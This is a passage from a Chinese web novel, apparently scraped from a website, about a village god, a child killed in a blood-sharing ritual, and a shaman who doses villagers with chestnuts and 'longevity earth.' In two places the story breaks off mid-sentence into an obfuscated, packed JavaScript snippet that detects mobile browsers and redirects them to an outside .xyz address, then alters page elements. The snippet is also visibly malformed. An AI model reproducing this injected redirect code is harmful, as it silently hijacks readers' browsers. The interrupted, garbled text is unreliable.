《登临塔下》 1. 梦回环 明月庄又在下雨了,向着水声的方向,我推开静止的浓雾,看到吉祥天师在清溪河边徘徊。他听到我的脚步声,就抬起头来说:“你来了啊。你还记不记得,当时你就是在这个地方问她,‘小孩儿,还记得你是怎么死的吗?’。” 我当然记得了,我活到死都会记得这一百多年前的事。 天师说:“你再讲讲吧,你再讲讲,好吗?” 那个小孩儿将小小的一颗头颅仰起,眼里流出的是疲惫与更多的茫然,嘴唇朝向浓雾背后水色的天空,咽喉指示此处道路不通——生石灰还留在她的口中。 “算了,我来告诉你吧。”我在河岸上蹲下来,一边清理她口中的石灰,一边陈述她的死因: 你所在的这个地方叫做明月庄。某年某月某日,这里的某任神婆子背上蓝花布包袱,沿着七拐八扭的黄土路绕出庄子,日夜兼程赶路两日以后登上一辆牛车前往百里之外的省城,去与一个大人物会面。三天前她的窗台上落下一只白鸽子,她看见白鸽子眼睛底下的一点灰毛就知道它是李倌的信使。 鸽子的脚上果不其然有着李倌的手信:大事要事!速来速来! 神婆子看到这里当即咧嘴骂道:“我又不是长翅膀的鸽子,召之即来挥之即去的,我脚再快,三天也是要的。”她的估算分毫不差,现在她坐上牛车,意味着已经是最后一段路。明月庄被远远地甩在身后,看不见庄子令她心惊肉跳,隔着布袋抓紧了木刻的雕像,“吉祥天师保佑,一路顺利。” 拉车的老黄牛突然发出“哞——”的叫声,神婆子的屁股一滑半个人就从牛车上淌下来,“诶呦喂,别磕着了。”她说的不是自己,而是刚才握在手中的木刻像。她过度紧张了,雕像被两三层棉布簇拥着,又隔了她一双湿润柔软的手,毫发无伤,安然无恙。 拉车的说:“我们到咯!” “哞——哞——”老黄牛也重复道。 婆子把包袱往身上一甩就冲进城里去,她知道这个李倌要她见面的地点肯定是他在省城的大宅子,一抬头街上的样貌却与以前她见过的截然不同了。婆子一跺脚跟着肌肉记忆往里走,到了一个死胡同前一脚把路上的土疙瘩踢碎,“这死李倌,做了官就忘本忘根,要我来也不迎迎我,回去我就告到天师那儿埋了他的祖宗十八代。” “你要到天师那儿告我什么,婆子?”一个蜜里包油的声音从耳朵后面飘上来,神婆子吓得往墙上跳,当她看到李倌笑眯眯的圆脸,就迎上去,“哟,李大人呀,您神不知鬼不觉地就来了,也不让我准备准备。瞧你问的,我当然是向吉祥天师禀告你的丰功伟绩呀!” 李倌坐在一匹高头大马上,栗色的马毛被太阳光一照就成了琥珀,婆子伸手去摸,李倌在马背上扔下一句,“婆子,我的事儿和你商量完,你想要多少琥珀似的马就能有多少,不必在意我这儿的一匹。”这栗子马也和老黄牛一样鸣叫了一声,一扭头就把尾巴甩到婆子脸上,婆子突出口中被马蹄带起来的土,发现死胡同的对面正是李宅。 门口已经立了四五个仆人等着李倌下马,牵马头的牵马头,扶人的扶人,婆子从人头当中分开一条路挤到李倌前头,“到底是什么事儿啊?” 李倌的两个大袖往空中一挥,这一群仆人们就识相地走开了,只剩下一个黑皮肤高个子的还站在那里,李倌道:“他是聋的,没关系。你跟我来。” 李倌领她进了西厢房,合上黄花梨的木门,与婆子在桌前落座,“近来天师还好吗?” “好着呢。” “那就好,那就好。”李倌手捋胡须开始在房里踱步,“但要我说,天师和咱们明月庄还能更好。” “怎么更好?” “你看看。”李倌从袖中取出一个纸卷,“正是天师太好了,现在竟也有外人来觊觎我们明月庄的福泽。要我说呐,还是得肥水不流外人田。” 我告诉那个小孩,他们口中的这个吉祥天师可是明月庄世世代代都拜的大神仙,他对明月庄的祈愿有求必应。明月庄的繁荣由此开启,这里走出了很多的秀才和举人,还有两个状元郎,风调雨顺粮食丰产,从没有人挨饿,经商的财运亨通,为官的步步高升。不是我,我是没有香火的。 雨中的吉祥天师说:“这个李倌我知道的,他读书很聪明,也总有鬼点子,我只是在他读不下去的时候为他指点迷津,做不了更多的。” 我说:“我知道,你只是无法预料他们的想法。” 李倌正渴望让吉祥天师与明月庄的关系更加密切,神婆子一边展开纸卷一边听李倌说:“这可是我从国师那里求来的,能让天师保佑明月庄千年万年的好法子!” 婆子说:“他本来也能保佑我们千年万年,你咒他呢?” “我可没有啊!婆子,你要把我前面说的话结合起来听,我说的,是与咱们明月庄血脉相连,从此人和神是共生的一物,那外来的除非一辈子在明月庄,否则别想从天师给我们的恩泽中分走一杯羹。” 神婆子听了李倌的计划开怀大笑,“诶哟,李大人神机妙算高瞻远瞩,早该这么办啦!咱们自己的神,凭什么让别人拜去了。” “是啊!所以婆子,明月庄是布匹,吉祥天师是丝线,这纸卷上写的共生之法就是绣花针,正等着你这个绣娘去妙手生花呢!你不要怕,要人死心塌地就让他吃你的血,要仙家独属于明月庄就让他看到你的忠心和胆量,去吧,去吧,我等你的好消息。” 两个脑袋顶到一起去夸赞自己的英明计划,李倌最后交代了几句如此如此,这般这般,神婆子就举着纸卷回到了明月庄,就开始张罗与神共生的大事。那个河边的孩子,就成了这根绣花针的针眼。 吉祥天师在雨中对着一块石头坐下,“当时她就坐在这里,我还记得的。”接下来,他把石头当成了那个小孩,把他讲了上百遍的东西又复述了一遍: 小孩,在你回家的路上,遇到一个卖麦芽糖的小贩,你站在旁边看了很久,糖浆的香气钻进你的鼻腔,你想到天上被太阳烤得暖烘烘的云朵,风一吹就成了棉花盖到你身上。你指着那桶热乎乎的糖浆说:“叔叔,我想要这个。” “好嘞!”小贩如此吆喝,他用两根木棍不断搅动,糖浆逐渐由黄转白,你寻找零钱的时候他突然一把将你抱起,迈开腿像烟雾一样从原来的地方消失了。 小贩的大手捂住了你的嘴,他手上的汗毛很粗,比起胡须也不遑多让。从他的皮肤上散发出烧焦皮革的臭味,你闻得难受,于是开始挣扎。可是小贩才不管呢,他用另一只手稳住你的身子,老鼠似的在弄堂里乱窜。你被他交到另一个陌生的人手上,那人再递给更陌生的人,直到到镶金边的白云换成了披云雾的月亮,你才终于来到了明月庄。 这里和它的名字一样,珍珠似的月亮高悬在黑天之上,几个影子乌漆嘛黑地鼓掌,其中一个影子称赞道:“你们的手脚倒是快,这就赶上了,明天过完了节我就好好赏你们。” 这个影子就是神婆子,她说的节日就是共生的仪式。 当天晚上你在一个猪圈的角落里过了一夜,鼻腔里闻到干草与粪便混合在一起的味道,你想要吐,但是胃里早就没有东西可吐了。你看到对面的一头猪从围栏上探出头。它粉色的脑袋正对着你粉色的衣服,它发出一声疑惑的哼哼后就从围栏处消失不见了。 第二天,太阳光还没有找到猪圈围墙上时,外头吵吵闹闹的声音就先传到你的耳朵里,仪式就要开始了。这时候你才看见,原来明月庄不只有这个脏兮兮的猪圈,这里的稻谷金黄饱满,流水潺潺,鸡鸭鹅成群结队地沿着路叫唤,和他们一起叫唤的还有和你年龄相仿的小孩,大人们行色匆匆,一个个脸颊充血通红。他们的前进方向都是一样的,你顺着人们脚尖的朝向望过去,在屋檐和屋檐之间,一座高塔戳在那里。 这座塔的名字,叫作天师登临塔,已经有上百年的历史了,它由明月庄的众人共同建造,作为吉祥天师在人间的居所,共生的盛大仪式当然要在那里举行。 还记得那头曾经和你对望过的小猪吗?当你被那两个男人带走送到天师登临塔的最顶层的时候,旁边一个包头巾的伙计端着上菜盘,盘子上摆放着一个新鲜割下还滴着血的猪头,就是那只曾经探出围栏的小猪,一模一样的粉色脑袋。 塔底下的人在做什么?他们跑来跑去似乎忙得很,有肉香味飘过来,你饿了一晚上,口水直流头晕眼花,迷迷糊糊地看见一个穿得花花绿绿的老女人走到了跟前,于是下面的一些人开始跪着拜你们。 女人正是从李倌那里得到了共生之法的神婆子,她拿在手里的铃铛叮铃叮铃,把明月庄的所有人都摇到了塔前。砰!从神婆子身后炸开了一个礼花筒,她脑袋上挂着彩纸对众人说:“各位父老!各位乡亲!吉时到了,有要与天师共生的都上前来吧!” 她掏出一根银针和一个雪白瓷碗,无数的手指伸上前来想做第一滴血的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063009|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贡献者,神婆子一视同仁,谁也没有如愿,因为第一滴血来自神婆子自己。随后一滴两滴,雪白瓷碗里积起小湖。小湖在供桌上倒映了吉祥天师的模样。 在此期间另有一伙人为你戴上花环和柳条编的项圈,碗里的小湖有了形状之后你被神婆子抱到供桌上坐着。她说了什么你早已忘了。我记得,我来告诉你,她说这是明月庄绝无仅有的殊荣,能坐上供桌说明你已经不是普通的小孩,而是连接明月庄和吉祥天师的脐带。 神婆子唱道: 天作鉴,地为证,来逢血脉共生日。 凡夫神子同有灵,百年仙缘筑基台。 千载风光永无尽,万世流芳代代昌! “好!好!”明月庄的人们为你送上了掌声与喝彩,神婆子呢,她抓起一把石灰抹到你嘴里,随后抓鸡似的抓住你的头发,脖颈贴在神像脚下,也像杀鸡似的裁开你的喉咙,你的血汇入了湖泊,成为这里的一员。 你伸手摸摸,刀口还留在你的脖子上。不过这没有关系,钢刀只能损害□□,不能割伤灵魂。但他们接下来的举动就不是了,因为你被老女人拎着脚扔到了天师登临塔下面,她用毛笔蘸了蘸地上的血,涂到天师登临塔上那尊神像的嘴唇上,随后指着地上的血迹道:“这形状,是红玉生花,吉兆!” 呕—— 供桌上所有贡品的味道最终都会来到吉祥天师的口腔,雪白瓷碗里的小湖也在他口中升起铁锈味,所以每一次他讲到这里都会因为记忆中的那股味道而干呕。 他在雨中恳求:“你接着说,接着说完。” 河边的小孩听完,没有对自己的遭遇产生更多的好奇,反倒是问我:“叔叔,你怎么是一个人?” “嗯?” “外婆说有黑白无常,还有牛头马面,他们都是两个人,你怎么只有一个人来?” 其实我并不是一个人,当时吉祥天师就在小孩的身后。在她脆弱的身躯接触地面之前,吉祥天师接住了她的灵魂,不至于摔得粉碎。肉身死去的事实无法改变,但一个完整的灵魂交到我手里,才能顺着来时的路回家,五年以后,重新成为原本家庭的一员。 这就是吉祥天师和我,能够做到的一切了。和明月庄所有人的想象不同,我们能够帮上忙的极为有限。小孩只能看见我一个,也是因为吉祥天师在共生的仪式之后,成为了只属于明月庄一地的神明,出了这个范围,就没有人知道他的名字。 我说:“因为我既不是黑白无常,也不是牛头马面,燃灯星君从来都是一个人的。” 我把手中的铃铛放到空中,它倒转成为浓雾中的一盏灯,“跟紧了,要是走丢,我也找不回你。” 她不再说话,我们就在浓雾中一直走到一片开阔得像海一样的地方,那里只有一扇破旧的木门——死地之门——走过去拔下钥匙就可以打开门,把钥匙还给我,穿过门,也就完成了转世投胎的旅途。 女孩离开的时间正是傍晚,太阳在清溪河的尽头成为一个烧红的铁球在山羊坡上沉下去。 吉祥天师迎着大雨向我走来,他问:“你知道这件事从头到尾我已经反复梦到了多少次吗?” “多少次?” “三万六千八百八十二次。”倾盆而下的雨水让他睁不开眼,“这就是我必须去死的原因。” 将利弊放到天平两端称量一番后我说:“一个无药可救的明月庄不值得你豁出性命去赎罪。” “不是赎罪,从那个小孩被抱上供桌的那一刻开始,罪就是赎不干净的。我们只是该死。” “你们?” “你忘了吗?我们早就是血脉相连的同一体了。” “你的精神不太好。”我说。 “对啊,所以在我彻底疯掉之前,让我去死吧。现在我姑且还能分清什么该做什么不该做,以后可就不一定了。” 隔着雨雾我问他:“你打算怎么做?神要死亡,无非是丧失所有的信众,但是在明月庄这很困难。” 他笑了笑,说道:“星君,还有一个方法的,我们可以托生为人。” 同样的对话在我们之间也已经重复了很多遍,讲到这里我就可以确定,他又在做梦了。 “醒醒,马上就是1987年了。” “啊啊啊啊啊啊啊——!!!” 李春生睁开眼睛,一阵女人的叫喊就从远处穿过晚霞钻进他的耳朵,令他再次想起湖泊汇聚的那个下午。 2. 苦板栗 此时此刻,被尖叫声牵扯来的头号人物万金花,正蹲在一个脸色苍白的女人两腿中间查看她的情况,身边还站着一个圆头圆脑的男孩子,一边吃手指一边欣赏母亲的动作。 明月庄里没有人不知道万金花的名字,已经没有人再去考究万金花作为外乡人在明月庄稳居高位的历史,但大家都知道她学识渊博,人脉广泛,仙缘深厚,更作为明月庄里唯一有幸得见过吉祥天师尊容的人,任何事情有了她的拍板就肯定能成的。 万金花是军师,是医生,是经理,是吉祥天师之下的所有事。她的头发抓起来有胳膊那么粗,胳膊又像藕节一样白而丰腴,嗓音洪亮可以从清溪河东头传到西头。 像纸一样躺在地上的女人叫作季有兰,她是个扔在明月庄的人堆里就找不出来的普通女人,她在刚刚过去的四个月里怀着自己的第二个孩子,又在不久前的两个小时内失去了这个孩子。季有兰一度拥有了错位的时间观念,四个月弹指一瞬,两个小时度秒如年,她刚才从田里割回来的羊草还没有进到羊的嘴里,自己的手就已经举不动镰刀了。 她的男人李池闻讯从另一头的茶水室赶过来,但他空空的脑袋完全不知道该怎么做。 万金花告诉他:“不用担心呐,这还是有用的东西。你翻开《千年万代引》去看看,就能知道咱们这个地方呐,与神共生,一切都是天师的安排。” 万金花从季有兰的两腿中间扯出一团暗红的血肉,那血肉只巴掌大点儿,却生着明显的四肢,此时已然不动弹了。“看什么!赶紧找块布来包好哇!”跟在一旁看了全程的那个男孩子被万金花用手戳了戳额头,就留下一个暗红的印子来。他斜眼笑了笑,便蹦跳着走开了。 万金花往上瞟了一眼,对满头大汗的李池说道:“你们记好了,那还是大宋朝的时候,,1088年,咱们明月庄地界有一穷苦书生,这书生家中父母早亡,茕茕孑立,孤苦伶仃。书生姓李名哲,字怀远,仕途不济,多年科举无果,常于夜间长吁短叹:“二十余载读经世之学,笔下文章依旧空空,野犬不屑入家门,何日何时是个头!” “啊,啊啊——”刚才蹦跳着离开的男孩子又蹦跳着回来了,手里拿着一块大花布,高高地举着,仿佛在向母亲邀功。 男孩还没有正式的名字,小白菜,就是他的名字。明月庄里所有人都知道,神婆子的小儿子是个到了六岁还不会说话的痴呆儿,有人说是报应,有人说是天罚,也有人说是神婆子使了什么诡计故意不让他说话,免得泄露天机。 对此种种,万金花笑而不语,执着地带着小白菜出入各种场合,并宣称他是受命于天师恩典的神子,要不要开口说话得看吉祥天师的旨意才行。 “这么大一块,你也不嫌浪费。”万金花白了一眼,就用这块布包好了刚才扯出的血肉。那孩子咬着食指歪着脑袋,盯着地上几乎要晕过去的女人嘿嘿地笑。季有兰当时就想杀了他,可是她刚刚没了孩子,实在动不了,她男人呢,也和死了似的。 万金花接着讲:“书生口中这样感怀,然而他内里却有一副文人风骨。恐怕你们也不知道这文人风骨是什么东西吧?啧,也就是一股穷酸气,一身硬骨头,一路走到黑!所以他一时走入死胡同,辗转多时尚未得解。他笔下眼下依旧不停,油灯照屋宇空空四壁,如此又是一年,不免愈加伤怀。” “唉唉,啊,啊啊啊……” “到这日,书生自午后小憩中醒来,双眼朦胧间见屋前栗子树结了满冠的绿叶白花,层层叠叠竟将枝杈压弯些许,行至近前花影又了无踪迹,才知是半梦半醒间幻觉而已。” 李池眼睛一亮,总算找到了能插话的口,“河边那棵老树?这个我晓得的。” “你光知道老树,却不知道那时候书生坐地无语凝噎,一树繁花竟是梦,他想着这繁花就如同自己,寒窗二十余年到头来金榜题名也仅在梦中得见,醒来便是失去,堕入冰窖之中似的心痛啊!” “啊!唉!” 季有兰躺在地上听万金花说:“你们呐,不用多怕,这可不是坏事儿。马上就是拜神大会了,没足月的小孩儿最好用了,天师要知道这是你肚子里出来的好东西,赏你还来不及呢。你肯定一转眼就又有了。”万金花用还淌着血的手抓来桌上的纸和笔,“我呢,给你开这个方子,外用止血,内服养身,要是有什么问题呢,再来找我便是了。” 万金花说:“书生行至栗子树下,用铁锹挖了一盆土出来,这日夜里借着十五的月光自己塑了个有头有脸的神像出来。这塑像既非佛祖也非文殊,而是书生自己杜撰的一位,因而除了书生之外也无人认识,无姓无名。” 李池分明是听进去了,激动地抢答:“天师,他塑的是吉祥天师!” 万金花还是摇头,“那时候还没有名字呢!书生家中仅余铁锅一口,他折了栗子树的三根细枝桠当做香插在这尊神像面前,俯身叩拜……” 小白菜扑通跪下,在地上连连磕头,万金花顺着小白菜的节奏念道:“神仙在上,还请体谅某礼数不周,某家贫如洗,四壁之外,再无长物,以至于文殊庙里香火钱也已供不出了,想来神佛们都已厌倦,将某这无名小卒抛诸脑后了。某斗胆塑这像来,也无一个子儿供奉到台前,惟愿榜上有名,得一出路,或挥斥方遒,或护一方公义,不求为万世开太平,仅求一扇为生民立命之门。苦不得解,若神仙有闻,但请指点一二,李哲毕生感激不尽,若终究无缘,李哲便也认命!” “你们猜怎么着?那书生于神像前三叩首,起身之际有风乍起,再抬头望去,栗子树上竟真的开出了花来。书生反复确认,几乎要爬上树梢去看,那花开得真切,在叶片之间随风摇动,更有淡淡幽香飘出。他知这或许仅是巧合,栗子树本就到了开花的时节,心中仍然欣喜,之后日日叩拜神像,关照栗子树的生长,每日从鸡鸣前到满天星斗,皆伏案苦读。” 万金花说到兴起,直拍大腿手舞足蹈,小白菜也在旁边比划着,“啊!啊!” 李池接过万金花递来的方子读着: “生板栗一篮,寿仙土一斤,每日取生板栗十颗与寿仙土一勺,将板栗磨成粉与寿仙土混合,以水冲服,每日一次。若要外用,碾磨成粉敷在出血处即可。”说着,万金花变戏法似的拎了一篮生板栗出来,上面放着一个铁罐子。 “板栗,寿仙土我都给你们拿来了,先吃着吧,还有啊,有空了就去天师庙里拜拜,一定要去啊。我可要回去准备拜神大会的事儿了,咱们与天师之间脐带的连接又淡了,这样衰微下去可不好,可得找个好点儿的药。” 季有兰头顶的汗和两腿间的血以同样的速度流出,她不想听万金花说的什么寿仙土的鬼话,万金花给谁看病都开一样的方子,她知道自己的孩子吃再多寿仙土都不会回来了。而李池,这个家伙除了在床上是活的,其他时候都是死的,到了今天,季有兰躺在家里的地上,终于有时间好好思考李池这个人。 “那之后,自然是吉祥天师得以化形,启明李哲通达学识,他再去考取功名就如鱼得水,一举高中!而吉祥天师得以铸成金身,就是靠着李哲供奉的一把栗子!” 万金花抱着花布裹好的那团血肉道:“所以啊,这板栗,而且是清溪河边栗子树结的板栗是最好用的药了,什么毛病不能治,有吉祥天师作保的果子,当然是最好的了。 李池对着万金花连连点头,“是我无知,是我无知。” 此刻,季有兰的下半身还光着瘫在地上,一览无遗的暴露在万金花和小白菜的面前。她想要去床上躺着,手却抬不起来,嘴里也发不出声音,她的丈夫李池也没有注意到她的神情。很快他也无法注意到了,因为季有兰无奈地闭上了眼睛,不想再把视线放到李池的身上。 神婆子说罢就已经摇摇屁股走了,那个坏小孩也跟在她后面,到门口还钻进头来做个鬼脸。这一切都被这家的女儿,名叫李小潭的看在眼里,彼时她正掩在后墙边,没有探身出来,只等万金花和小白菜走远了才回屋去。 “她给你弄的什么寿仙土?又是什么歪门邪道的东西!”小潭推门进去,见父亲已经磨好了一副“药粉”,正要敷上去给母亲止血,她一把推开,“药粉”撒了一地,自己脸上也得了父亲一记耳光,“混蛋玩意儿!这是万婆子给的药!寿仙土是你说撒就撒的?!” “我是混蛋,你是比我更混蛋的蠢货!” “啪!”另一张脸上又是一下,“你插什么嘴!” 季有兰的眼睛仍然闭着,已经不知道是醒着还是晕了过去。李池将季有兰撇开就要冲上去给李小潭第三个巴掌,小潭快他一步捂着脸夺门跑了出去,听得屋里父亲骂道:“你最好别回来!也别给我惹出什么事儿来!” 小潭才不稀罕给他惹什么事儿来,她只气,气他们只知道听神婆子的,只知道去拜什么天师,连寿仙土都毫不怀疑地往肚子里灌。 明月庄的人都知道寿仙土是什么东西。那供奉在天师登临塔最顶端的吉祥天师塑像不是石头,而是泥塑,那泥塑用的土,就是山羊坡向阳面的土,便称为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063010|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寿仙土。神婆子说了,这都是领受了吉祥天师福泽滋润的土,包治百病。只是做了像的不能敲下来用,平时只能用剩下的,产量不多,可谓物以稀为贵。 李小潭才不信呢,土就是土,变不成药的。她现在只有一个地方可以去,于是她跑过明月庄的土路,跑过几片稻田,跑过万金花的家门口,余光瞧见金铃儿与银铃儿牵着手往外走,李小潭没理她们,她觉得万金花的女儿们大概也不是好东西。 “那是小潭吗?”金铃儿见了问道。 “嗯,我看是,明月庄就她跑得和我一样快。”银铃儿在裤兜里装了满满一袋的板栗,正摸出几颗来分给金铃儿,“咱们该找时间去看看她妈妈。” 金铃儿道:“啊……我不敢,妈要凶的,又该挨打了。” “偷偷地去,她又不知道。”银铃儿不怕万金花,反正她早已是万金花眼里离经叛道的逆子,但她还是给金铃儿个台阶下,“我还藏了些钱在罐子里,一会儿去拿出些来,去买些红糖和枣子,让小潭自己带回去吧。” 金铃儿这才放下心来应了,她瞥了瞥家里万金花的影子,长出了一口气。 “呸呸呸!都坏了!难吃死了!” 银铃儿将口中板栗都吐了出去,袋中的也悉数摸出来,连着抢了金铃儿手中还没开口的,一抡胳膊就全都丢进了清溪河里,噼里啪啦如同鞭炮响。 中学的医务室里空无一人,李小潭转头就直奔李春生的教师宿舍而来。李春生刚刚从季有兰的尖叫声中平静下来,当时我给他准备了饭菜,多了些,他还剩了一半,正要落下下一筷子时李小潭就冲了进来,“春生老师!” 李小潭脸上汗和泪都混在一起,呼哧呼哧地扒拉着门沿,看到我也在显得有些惊讶,“月,月来师傅。” 李小潭憋着眼泪向我们复述了原委,她的五官都挤在一起,像个被打了一拳的泥人,“春生老师,你救救我妈妈!” 严格来说她求错了人,李春生是历史老师,不是医生。但这对于李春生来说不是什么要紧的事,他常年在宿舍里备着干净的白毛巾,取来给小潭擦了脸,“你爸又打你了?” “我没事儿,春生老师。” “你回家多用热水敷一下。” “老师,我该怎么办?” 李小潭的家庭环境让她成为了一个过分懂事的孩子,我看着李春生用白毛巾擦干净李小潭脸上的眼泪,并在接下来的几天里托医务室准备了些消炎止血的药和营养品,由李小潭悄悄地拿给季有兰。 “春生老师。”李小潭扒着门缝露出半张脸,明显是有话要说。 “想问就问吧。” “他们都说吉祥天师好,我觉得他不好。我们都让他和神婆子骗得团团转,春生老师你觉得呢?” 李春生没有正面回答这个问题,“为什么这么想?” 李小潭摇摇头,“没怎么。他要是真的,也怪没用的。还没春生老师你厉害呢,他不能开药也不能给我擦眼泪,但你们可以。” “我哪儿有这么厉害,小潭。你才是保护你妈妈的人。” “可是没你们我做不成。” “以后会做成的。” 李小潭在门后思索着这句话的可能性,而后一甩辫子就踏着夕阳跑走了。 “没那么厉害吗,天师?”我问他。 李春生摇了摇头,他坐回到椅子里木然地看着门外李小潭远去的方向,夕阳的光辉迅速从他身上退去了。他的身上总是散发着一股熟栗子的甜香,可那天我却觉得这气味儿泛着苦。 “时间差不多了。”他说。 还有不到一个月,时间就要来到1987年。每到逢七的年份隆重的拜神大会就要开幕,并重演一次人神共生的盛大仪式,噩梦又要来到李春生的眼前。有所不同的是,他决定在今年的拜神大会上来结束所有的错误。 但在此之前,他希望尽可能地把中学孩子们送走。 “我知道这件事情长痛不如短痛,但有些人仍然值得拯救,在中学这五年不是白等的。但我不可能无休无止地等下去,现在,我看是时候了,小潭的事就是一个切口,你告知慧慧吧,校长那边有我,我们都要抓紧时间。” 他成为李春生的目的,就是为了能死在某个信徒的手下,也就是他曾在雨中对我说的第二个办法。我并不劝阻他,只关心这个计划的可行性,“刽子手呢?总不能是谁手快就算谁吧。” “我早就选好了。”李春生说,“你认识的,小白菜。” 3. 中学 1987年,只要不和明月庄扯上关系,就是一个极好的年份。对于明月庄来说,它值得期待,更值得庆祝,因为很久以前神婆子就说了:十载一枯荣,血脉两相通,共生共死双全法,一岁一度待春风。 这一年,万金花选定的拜神大会时间是正月初七,也就是二月四日,立春,李春生的生日。我把这消息告诉他的时候月亮正高悬在山羊坡的上方,我们坐在我的住处门口抬头看天,竹叶的沙沙声好像海浪,李春生说:“我知道,白天的时候老校长已经来说过了。” 李春生本就打算找老校长商量抓紧时间送走更多学生的事,在中学里,没有哪一个人是孤军奋战的。不过这个跛脚的白发老者倒是先一步来到了李春生的办公室。 这个年逾花甲的老人身上展现出的精神面貌与明月庄的大部分人都不相同。虽然是同样的精神矍铄,明月庄的人大都是经年劳作所塑造的寒冬枯树,劲瘦挺拔但少了生气,老校长则带着知识分子特有的温厚气质,时间的风刀霜剑将她雕刻成了松柏。 老校长上了年纪以后背就驼了下去,加上她青年时代就留下的跛足,整个人在视觉上显得毫无威慑力,但毋庸置疑的是,老校长仍是中学所有教职工最敬佩的人。 她很直接地向李春生表达了担忧:“春生,今年又是难熬的年份了。” “我知道,校长。”李春生说,“中学不能一直留在明月庄,您也是时候离开了。” “你要小心。”老校长摩挲着自己的左腿说道,“别像我似的,划不来。” 李春生给她泡了一杯茶,“校长,您在那种情况下坚持把学校建起来,就是明月庄史上最有意义的事之一了,放到古时候,您的名字该上史书。” “二十多岁的年轻人怎么讲话这么老成。”老校长叹了口气,“也就你,把我捧得这么高。” “他们都这么想,我只是正好有机会告诉您而已。” 老校长把话题放到另一件事上:“你要好好留意小潭,她性子直,容易被针对。”季有兰流产的事不需要多久就成为炒熟的瓜子,每个人都要来嚼上一遍。而李小潭,作为不可避免被谈到的一环,也让老校长难以安心。 “您放心,我会留意。” “好,好。”老校长捋了捋头发,她的头发早些年就已经全白,使她的面相与实际年龄不太称,她告诉李春生:“今天上午的时候听人说了,正月初七办拜神大会。” “那就是下个月。” 老校长看着墙上的挂历忧心忡忡,“我看李小潭似乎和金铃儿银铃儿关系不太好。” “因为万金花吧。” “所以我怕她会受欺负,这罪名太好扣了。” 李春生了解老校长的担心,和神婆家站在对立面可不是什么好事,这在明月庄是引火上身的同义词。李春生思忖着老校长所说的时间,稳住了她苍老的双手,“她们三个都不会有事,校长,我保证。” 李春生说罢,从口袋里掏出一张纸条给我,上面充满了对李小潭母女俩的侮辱性词汇。老校长的担心不是空穴来风。 李春生说:“和校长谈过之后的那个课间,这张纸条就和李小潭一起送到了我面前。” 李小潭是他班上的学生,在流产事件发生以后也和往日一样正常上学,似乎母亲的痛苦经历没有通过情感上的纽带传递到她身上,至少表面看来是如此。同时李春生也说李小潭是一个很难不引人注意的女孩,那天她在英语课后将一壶热水浇在前桌男生的头上,那个生了癞子的男生抱头痛哭,李小潭的脸上却显出一副得胜归来的英气。 “李小潭,你做什么呢?”目睹了一切的白发英语老师问道。 “我教训他好好说话!” 癞子头男生知道自己理亏,站在李春生面前一言不发,只是抽着鼻子哭,李小潭也保持着正义的沉默。 “为什么写这些?”李春生质问道。 “我……我听别人说的。” “听谁说的?” “听我爸说的。”癞子头男生的声音迅速小了下去,“老师,我以后不写了,你别喊我妈来。” 李小潭接着问:“你爸什么时候说的?为什么要说?” “你爸和我爸都在茶室啊,我去茶室找我爸要钱的时候听见的,不信你回去问他啊。” “李旺儿。”李春生的声音平静,听不到愤怒的情绪,“不管你是听谁说的,听到的是什么,类似的东西都不应该出现,你也知道你写的内容是什么意思对吧?” 癞子头男生点了点头。 “我不知道你这纸条经过了多少人的手,所以你听好,以后不管是谁有类似的言论,我都找你,明白吗?” “别呀老师。” 李春生打断了癞子头男生的求情,“要是不想被人连累罪加一等,就好好想想怎么把你造成的影响降到最低。回去换衣服,然后接着上课。”李春生并不会给类似的行为辩白的空间,李小潭在癞子头男生走后仍然昂首挺立。 “小潭……” “他瞎说。” “你说李旺儿?” “我说他爸。他没有证据,随便污蔑人,我妈妈只是去了庙里,谁去庙里不会遇到老季?遇到了说了几句话,谁遇到了人不说话,怎么就不清不楚了?” 听到这里,我知道这会是个漫长的夜晚,便站起身来去倒了两杯酒。这种叫做“落雨花”的酒度数很低,李春生能喝。 如果要评价季有兰,只能说她是个一生都活得稀里糊涂的女人。二十岁的时候季有兰背着竹篓去割羊草,那时候她的头发很长很粗,编了一个到腰的麻花辫垂在身后,现在她也时常怀念二十岁时光滑的脸庞。年岁的逝去从季有兰抬起头看到田埂上的李池时就打开了闸门,这个素未谋面的青年递给季有兰一块毛巾。 “擦擦汗吧。你衣服都湿了。” 李小潭八岁的时候第一次听说这个故事,她就指着李池的鼻子说:“你是臭流氓。” 季有兰拦下了李池挥向李小潭的手掌,那个时候她还捋着头发说:“没有没有,他是好心的。 事实上季有兰从未真正明白过李池的想法,当年这个大了她三岁的青年坐在田埂上的时候,先是看到河道里的鸭子成群结队地戏水,然后就看到季有兰的长辫子在眼前来回晃动。她的竹篓里已经有了半篓羊草,在装满之前李池知道她不会回去,便钉在田埂上品味着季有兰劳作的场景。 李池觉得这个女人拥有和母亲一样健壮丰腴的臂膀,这让他感到莫名的亲切。当他看到季有兰的脸庞因为暑热而变得和桃子一样发红,属于二十多岁男女的冲动就叠加到他的身上了。 几天后李池的父亲就带着东西上门提亲,季有兰对这个仅有一面之缘的青年眨了眨眼睛,就成为了李家的新娘。等到季有兰二十二岁见到李小潭的第一面,以及三十六岁时对于李池提出再要一个儿子的提议,她都做出了同样的反应——既不点头,也不摇头,她只是眨了两下眼,时间就从眼皮里溜走了。 